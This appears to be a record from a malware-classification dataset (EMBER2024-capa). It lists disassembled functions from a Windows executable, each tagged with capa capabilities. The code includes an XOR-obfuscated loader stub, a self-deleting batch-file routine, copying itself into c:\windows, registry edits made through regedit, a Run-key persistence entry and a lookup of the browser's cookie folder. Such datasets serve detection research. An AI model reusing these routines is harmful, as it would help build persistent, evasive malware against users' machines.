joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x40a3fb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x40a40a
pop dword [ebp - 0x34]
mov eax, 0x40a40a
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xa93e20e5
add dword [ebp - 0x44], 0xa5142466
mov dword [ebp - 0x40], 0x32163667
sub dword [ebp - 0x40], 0xffe2ea22
mov dword [ebp - 0x3c], 0x239b9f8e
add dword [ebp - 0x3c], 0x28b0a4a0
mov dword [ebp - 0x38], 0x95a3f7cb
add dword [ebp - 0x38], 0x6a5c0835
lea eax, [ebp - 0x44]
push eax
mov eax, 0xff0a3165
add eax, 0x137ff0f
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x507f4aaa
sub dword [ebp - 0x44], 0xdc0ce154
mov dword [ebp - 0x40], 0xfdaacef8
add dword [ebp - 0x40], 0x43c1927d
mov dword [ebp - 0x3c], 0xbe4b8c97
sub dword [ebp - 0x3c], 0x5adc202b
mov dword [ebp - 0x38], 0xb607d38f
add dword [ebp - 0x38], 0x49f82c71
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0xf362b943
sub eax, 0xf320881f
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3dec3
push 0
call eax
mov ecx, 0x29b73a78
add ecx, 0xd6490e7a
mov edx, eax
mov ebx, 0xb49cda55
add ebx, 0x4ba669ab
add ebx, dword [ebp - 0x34]
mov esi, 0xdccdb772
sub esi, 0xd956e9a1
mov dword [ebp - 0x20], 0x41f84d63
mov edi, dword [ebx]
mov dword [ebp - 0x10], 0xbb76032b
xor edi, esi
add dword [ebp - 0x20], 0x7718db62
mov dword [edx], edi
xor dword [ebp - 4], edx
add edx, 4
add ebx, 0x28ea875a
add ebx, 0xd71578aa
loop 0x40a527
add eax, 0x1169b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
push edi
push 0x40d020
mov edi, ecx
push 0x40d010
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
test eax, eax
pop ecx
jne 0x401063
push esi
mov ecx, edi
call fcn.004010f5
mov esi, dword [esp + 0xc]
mov ecx, edi
movzx eax, al
mov dword [esi], eax
call fcn.0040106b
movzx eax, al
mov ecx, edi
mov dword [esi + 4], eax
call fcn.004010b2
movzx eax, al
mov ecx, edi
mov dword [esi + 8], eax
call fcn.004011e3
movzx eax, al
mov ecx, edi
mov dword [esi + 0xc], eax
call fcn.00401152
movzx eax, al
mov dword [esi + 0x10], eax
pop esi
pop edi
ret 4
push 1
call dword [sym.imp.MSVCRT.dll_exit]

Function at 0x401220
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x648
push ebx
push 0x40de18
push dword [ebp + 0x10]
mov ebx, ecx
call sub.MSVCRT.dll_strcpy
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.MSVCRT.dll_memset
push ebx
call sub.MSVCRT.dll_strlen
inc eax
push eax
lea eax, [ebp - 0x108]
push ebx
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
push 5
lea eax, [ebp - 0x108]
push str..
push eax
call dword [sym.imp.MSVCRT.dll_strncat]
add esp, 0x30
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x401299
xor al, al
jmp 0x40130f
push esi
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x21c]
push edi
push eax
mov edi, 0x40d0ac
push ebx
lea eax, [ebp - 0x648]
push edi
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x648]
mov ecx, ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
call fcn.00401314
test al, al
je 0x4012da
mov bl, 1
jmp 0x401302
lea eax, [ebp - 0x248]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
je 0x401300
lea eax, [ebp - 0x21c]
push eax
push ebx
lea eax, [ebp - 0x648]
push edi
push eax
jmp 0x4012b6
xor bl, bl
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_FindClose]
pop edi
mov al, bl
pop esi
pop ebx
leave
ret 0xc

Function at 0x401314
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push ebx
push ebx
push 3
push ebx
push 1
push SysReAllocStringLen
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x4013a2
push esi
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, eax
lea eax, [esi + 3]
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov edi, eax
lea eax, [ebp - 4]
push ebx
push eax
push esi
push edi
mov dword [ebp - 4], ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [ebp + 0xc]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
push edi
call esi
pop ecx
test eax, eax
pop ecx
je 0x40138f
push dword [ebp + 0x10]
push edi
call esi
pop ecx
test eax, eax
pop ecx
je 0x40138f
push edi
push dword [ebp + 0x14]
call sub.MSVCRT.dll_strcpy
pop ecx
mov bl, 1
pop ecx
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
mov al, bl
pop ebx
leave
ret 0x10
Function at 0x4013a9
Capabilities:
Print debug messages
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2b14
call fcn.00409a50
push ebx
push esi
push 0x40d020
push str.c:_te3457_6576577t_004.dat
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
xor ebx, ebx
pop ecx
cmp esi, ebx
pop ecx
je 0x40142a
push esi
push 0x3e8
lea eax, [ebp - 0x2b14]
push ebx
push eax
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
test eax, eax
je 0x4013f8
push str.er5invarity
call dword [sym.imp.KERNEL32.DLL_OutputDebugStringA]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
push ebx
call dword [sym.imp.MSVCRT.dll_time]
pop ecx
pop ecx
push 3
cdq
pop ecx
idiv ecx
push edx
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x22
push 3
push 0x200
push ebx
call dword [sym.imp.USER32.dll_SendMessageA]
jmp 0x4014c6
push edi
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push 0xa
xor edx, edx
pop ecx
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
div ecx
push edx
call edi
lea eax, [ebp - 0x404]
push str.431_c3de1e34re546_tuasde215
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x404]
mov dword [ebp - 4], ebx
push eax
call sub.MSVCRT.dll_strlen
mov esi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
add esp, 0xc
mov ebx, eax
call esi
add ebx, eax
je 0x4014b5
lea eax, [ebp - 0x404]
push eax
call sub.MSVCRT.dll_strlen
cmp dword [ebp - 4], eax
pop ecx
jae 0x40149a
mov eax, dword [ebp - 4]
push 5
pop ebx
lea ecx, [ebp + eax - 0x404]
cdq
idiv ebx
mov al, 0xfb
sub al, dl
add byte [ecx], al
inc dword [ebp - 4]
lea eax, [ebp - 0x404]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov ebx, eax
call esi
add ebx, eax
cmp dword [ebp - 4], ebx
jb 0x401472
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4014ca
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd4
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push 0xa
xor edx, edx
pop ecx
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
div ecx
push edx
call esi
and dword [ebp - 4], 0
call dword [sym.imp.USER32.dll_GetActiveWindow]
push 0x14
cdq
pop ecx
idiv ecx
push edx
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
and dword [ebp - 0xc], 0
mov dword [ebp - 8], 0x64
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [ebp - 0x70]
push 0x64
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xd4]
push 0x64
push eax
push 0x40d104
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationA]
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret
Function at 0x401554
Capabilities:
Delete file
Move file
Read file on windows
Set file attributes
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2718
call fcn.00409a50
push ebx
push esi
push edi
lea eax, [ebp - 0x3f0]
push 0x3e8
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
and byte [ebp + eax - 0x3f0], 0
mov ebx, 0x80
lea eax, [ebp - 0x3f0]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [ebp - 0x7d8]
push eax
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_CharToOemA]
push 0x40d020
push str.df234gd444dgd.dat
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov esi, eax
pop ecx
test esi, esi
pop ecx
jne 0x4016ab
call edi
push 0x1e
xor edx, edx
pop ecx
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
div ecx
push edx
call esi
xor eax, eax
push eax
push ebx
push 2
push eax
push eax
mov ebx, str.c:6535sd36543.bat
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 4], eax
call edi
push 0x1e
xor edx, edx
pop ecx
div ecx
push edx
call esi
cmp dword [ebp - 4], 0xffffffff
je 0x4016c7
lea eax, [ebp - 0x7d8]
push ebx
push eax
lea eax, [ebp - 0x7d8]
push str.if_exist
push eax
push str.:VZ5
lea eax, [ebp - 0x2718]
push str.REM_30239842309482304238904_n_s__n_del___s___n__s___s__goto_VZ5__n_del___s_
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x1c
lea eax, [ebp - 8]
push 0
push eax
lea eax, [ebp - 0x2718]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x2718]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 1
call esi
push 0
push ebx
call fcn.004016e6
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
and eax, 3
push eax
call esi
call edi
push 0x1e
xor edx, edx
pop ecx
div ecx
push edx
call esi
push 4
lea eax, [ebp - 0x7d8]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
call edi
push 0x1e
xor edx, edx
pop ecx
div ecx
push edx
call esi
jmp 0x4016c7
push esi
push 0x14
lea eax, [ebp - 0xbc0]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fread]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
call edi
push eax
push 0
push 0x11
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
pop edi
pop esi
test eax, eax
pop ebx
je 0x4016e4
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
leave
ret
Function at 0x4016e6
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push 0x44
xor ebx, ebx
pop esi
lea eax, [ebp - 0x54]
push esi
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x10]
push ebx
push eax
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], bx
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x40175a
cmp byte [ebp + 0xc], bl
je 0x40174a
push 0x2710
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
pop esi
pop ebx
leave
ret 8
Function at 0x401e7d
Capabilities:
Set file attributes

Disassembly:
push ebx
push edi
mov edi, str.c:windows_be49f4d98.dat
push 0x80
push edi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 0x40d2fc
push edi
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
pop ecx
test ebx, ebx
pop ecx
je 0x401ee8
push ebp
mov ebp, dword [esp + 0x10]
push esi
mov ecx, ebp
call fcn.0040491c
mov esi, eax
mov ecx, ebp
call fcn.004048b7
cmp esi, eax
je 0x401ede
mov ecx, dword [esi]
push dword [ecx + 0x10]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push str._s_d_n
push ebx
call dword [sym.imp.MSVCRT.dll_fprintf]
add esp, 0x10
add esi, 4
jmp 0x401eb3
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
pop esi
pop ebp
push 2
push edi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
pop edi
pop ebx
ret 4
Function at 0x4036dd
Capabilities:
Check if file exists
Set file attributes

Disassembly:
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_fopen]
push esi
push 0x40d020
push str.c:w3rwe09weffsd
call ebx
pop ecx
test eax, eax
pop ecx
jne 0x403756
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov esi, str.c:windows_bemark2.dat
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x403756
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 0x80
push esi
call edi
push 0x40d340
push esi
call ebx
mov ebx, eax
pop ecx
test ebx, ebx
pop ecx
je 0x403750
push 0x40d354
push ebx
call dword [sym.imp.MSVCRT.dll_fprintf]
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0xc
push 2
push esi
call edi
pop edi
pop esi
pop ebx
ret

Function at 0x403792
Capabilities:
Read file on windows
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x404
lea eax, [esp + 4]
push ebp
push esi
push 0x3ff
xor ebp, ebp
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [esp + 0xc]
push 0x40d020
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
pop ecx
cmp esi, ebp
pop ecx
je 0x403856
push ebx
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push ebp
push esi
call edi
push esi
call dword [sym.imp.MSVCRT.dll_ftell]
push ebp
push ebp
push esi
mov ebx, eax
call edi
push ebx
call dword [sym.imp.MSVCRT.dll_malloc]
push esi
mov ebp, eax
push ebx
push 1
push ebp
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x30
mov edi, str.c:windowsche4.exe
push 0x80
push edi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 0x40d340
push edi
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
mov dword [esp + 0x14], eax
test eax, eax
pop ecx
je 0x40383b
push eax
push ebx
push 1
push ebp
call dword [sym.imp.MSVCRT.dll_fwrite]
push dword [esp + 0x20]
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
push ebp
call dword [sym.imp.MSVCRT.dll_free]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
pop ecx
push 2
push edi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
pop edi
pop ebx
pop esi
pop ebp
add esp, 0x404
ret

Function at 0x403ad2
Capabilities:
Set file attributes

Disassembly:
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
mov esi, str.c:windows_be49f4daa.dat
push 0x80
push esi
call edi
push 0x40d340
push esi
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
pop ecx
test ebx, ebx
pop ecx
je 0x403b12
push 0x40d6bc
push ebx
call dword [sym.imp.MSVCRT.dll_fprintf]
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0xc
push 2
push esi
call edi
pop edi
pop esi
pop ebx
ret
Function at 0x4043bd
Capabilities:
Create process on windows
Delete file
Delete registry key
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x17e0
call fcn.00409a50
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
push esi
push edi
lea eax, [ebp - 0x17e0]
push str.Windows_Registry_Editor_Version_5.00_n_n_HKEY_CLASSES_ROOTMimeDatabaseContent_Type_application_xhtmlxml__n_CLSID__25336920_03F9_11cf_8FD0_00AA00686F13__n_Extension__.xml__n_Encoding_hex:08_00_00_00_n
push eax
call ebx
mov edi, str.c:1.reg
push 0x40d340
push edi
call dword [sym.imp.MSVCRT.dll_fopen]
xor esi, esi
add esp, 0x10
cmp eax, esi
mov dword [ebp - 4], eax
je 0x40447a
push eax
lea eax, [ebp - 0x17e0]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x17e0]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_fclose]
push 0x44
lea eax, [ebp - 0x58]
push esi
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x14]
push esi
push eax
mov dword [ebp - 0x58], 0x44
call sub.MSVCRT.dll_memset
add esp, 0x2c
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push str.regedit__s_c:1.reg
push esi
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x404473
push 0x2710
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push str.sSchemesAppsExp
lea eax, [ebp - 0x458]
push str.AppEvent_slorerNavigating
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x458]
push eax
push SysReAllocStringLen
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4044d5
Capabilities:
Encode data using xor
Hash data using crc32b

Disassembly:
push ebx
push esi
push edi
xor edi, edi
mov esi, 0x40de1c
push 8
push edi
call fcn.004044a7
shl eax, 0x18
push 8
mov dword [esi], eax
pop edx
mov ebx, eax
mov ecx, ebx
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
dec edx
mov ebx, eax
jne 0x4044f1
push 0x20
push eax
mov dword [esi], ebx
call fcn.004044a7
mov dword [esi], eax
add esi, 4
inc edi
cmp esi, 0x40e218
jle 0x4044df
pop edi
pop esi
pop ebx
ret

Function at 0x404528
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [esp + 4]
or eax, 0xffffffff
test edx, edx
je 0x404558
push esi
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x40de1c]
xor eax, esi
inc ecx
dec edx
jne 0x404539
pop edi
pop esi
not eax
ret 8
Function at 0x40462d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd4
push str.t_ExplorerIn
push str.osoftInter
push str.FTWAREMic
lea eax, [ebp - 0xd4]
push str.SO_sr_sne_sternational
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xd4]
push eax
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
cmp dword [ebp - 4], 0
je 0x4046b2
lea eax, [ebp - 8]
push esi
mov esi, dword [ebp + 8]
push eax
lea eax, [ebp - 0xc]
push esi
push eax
push 0
push str.AcceptLanguage
mov dword [ebp - 0xc], 1
push dword [ebp - 4]
mov dword [ebp - 8], 0x3e8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4046a8
and byte [esi + 2], al
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
leave
ret 4

Function at 0x4046b6
Capabilities:
Delete registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9d4
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
call edi
push 0x14
xor edx, edx
pop ecx
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
div ecx
push edx
call esi
push 0x40d020
push str.c:werwr34535
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
test eax, eax
pop ecx
jne 0x4047e3
push ebx
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
push str.ionR
push str.sCurr
push str.oftWind
push str.REMic
push 0x40d950
lea eax, [ebp - 0x9d4]
push str.S_sWA_sros_sow_sentVers_sun
push eax
call ebx
add esp, 0x1c
call edi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call esi
push str.xplorerNavig
push str.esApp
push str.entsSc
lea eax, [ebp - 0x5ec]
push str.AppEv_shem_ssE_sating
push eax
call ebx
add esp, 0x14
lea eax, [ebp - 0x5ec]
push eax
push SysReAllocStringLen
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
lea eax, [ebp - 0x204]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
call edi
push 0x14
xor edx, edx
pop ebx
mov ecx, ebx
div ecx
push edx
call esi
lea eax, [ebp - 0x204]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov dword [ebp - 4], eax
call edi
xor edx, edx
mov ecx, ebx
div ecx
push edx
call esi
call edi
xor edx, edx
mov ecx, ebx
div ecx
push edx
call esi
push dword [ebp - 4]
lea eax, [ebp - 0x204]
push eax
push 1
push dword [ebp + 8]
lea eax, [ebp - 0x9d4]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
call edi
xor edx, edx
div ebx
push edx
call esi
pop ebx
jmp 0x4047e7
push 2
call esi
pop edi
pop esi
leave
ret 4
Function at 0x404dca
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push esi
mov esi, ecx
push edi
lea ecx, [esi + 4]
call fcn.00404e4b
push 0
mov dword [esi], 0x40b248
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esi + 0x404]
push 0x40de18
push eax
call sub.MSVCRT.dll_strcpy
lea edi, [esi + 0xc68]
push 0x63
push 0
push edi
call sub.MSVCRT.dll_memset
add esp, 0x14
mov ecx, esi
push edi
call fcn.00406140
push str.sSchemesAppsExp
lea eax, [ebp - 0x400]
push str.AppEvent_slorerNavigating
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x400]
push eax
push SysReAllocStringLen
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov eax, esi
pop edi
pop esi
leave
ret

Function at 0x404e4b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1fc
push esi
push str.ll_Folde
push str.ersionExplor
push str.oftWind
push str.areMicro
lea eax, [ebp - 0x1fc]
push str.Softw_ss_sowsCurrentV_serShe_srs
mov esi, ecx
push eax
mov dword [ebp - 4], 1
mov dword [ebp - 8], 0xc8
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x18
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x1fc]
push str.Cookies
push eax
push SysReAllocStringLen
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
jne 0x404ec7
lea eax, [ebp - 0xd0]
push eax
push esi
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, esi
pop esi
leave
ret
Function at 0x4095f5
Capabilities:
Get graphical window text

Disassembly:
mov eax, 0x40a24c
call fcn.00409ab0
sub esp, 0x448
and byte [ebp - 0xd], 0
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x4097a4
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x2a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x34], 0
mov word [ebp - 0x3c], 3
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
mov word [ebp - 0x2c], 3
call edi
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
and eax, 1
push eax
call esi
and dword [ebp - 0x24], 0
push 0
lea ecx, [ebp - 0x4c]
call fcn.00404cf7
and dword [ebp - 4], 0
call edi
and eax, 1
push eax
call esi
mov eax, dword [ebx]
lea ecx, [ebp + 0xa]
push ecx
push ebx
call dword [eax + 0xe4]
mov eax, dword [ebx]
push 0
push ebx
call dword [eax + 0xe8]
mov eax, dword [ebx]
and dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x1c]
push ecx
push ebx
call dword [eax + 0x94]
lea eax, [ebp - 0x454]
push 0x3e7
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
call edi
and eax, 1
push eax
call esi
lea eax, [ebp - 0x454]
push 0x40d9ec
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
jne 0x409796
lea eax, [ebp - 0x454]
push 0x40d9e8
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
jne 0x409796
push str._self
lea ecx, [ebp - 0x6c]
call fcn.00404ce1
mov dword [ebp - 0x18], eax
push dword [ebp + 0xc]
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 1
call fcn.00404ce1
lea edx, [ebp - 0x4c]
mov ecx, dword [ebx]
push edx
lea edx, [ebp - 0x2c]
push edx
lea edx, [ebp - 0x3c]
push dword [ebp - 0x18]
mov byte [ebp - 4], 2
push edx
push eax
push ebx
call dword [ecx + 0xd0]
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 1
call fcn.00404cdc
and byte [ebp - 4], 0
lea ecx, [ebp - 0x6c]
call fcn.00404cdc
call edi
and eax, 1
push eax
call esi
or dword [ebp - 0x14], 0xffffffff
and dword [ebp + 0xc], 0
push 0x3e8
call esi
mov eax, dword [ebx]
lea ecx, [ebp - 0x14]
push ecx
push ebx
call dword [eax + 0x7c]
cmp word [ebp - 0x14], 0
jne 0x40977b
mov eax, dword [ebx]
lea ecx, [ebp - 0x18]
push ecx
push ebx
call dword [eax + 0xe0]
call edi
and eax, 1
push eax
call esi
cmp dword [ebp - 0x18], 4
je 0x40977b
mov dword [ebp - 0x14], 1
inc dword [ebp + 0xc]
cmp dword [ebp + 0xc], 0x46
jg 0x40978b
cmp word [ebp - 0x14], 0
jne 0x409741
push 0x7d0
mov byte [ebp - 0xd], 1
call esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c]
call fcn.00404cdc
pop edi
pop esi
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0xd]
pop ebx
mov dword fs:[0], ecx
leave
ret 8

Function at 0xef6000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0xef600a
jmp 0xef800f
jmp fcn.00a941b8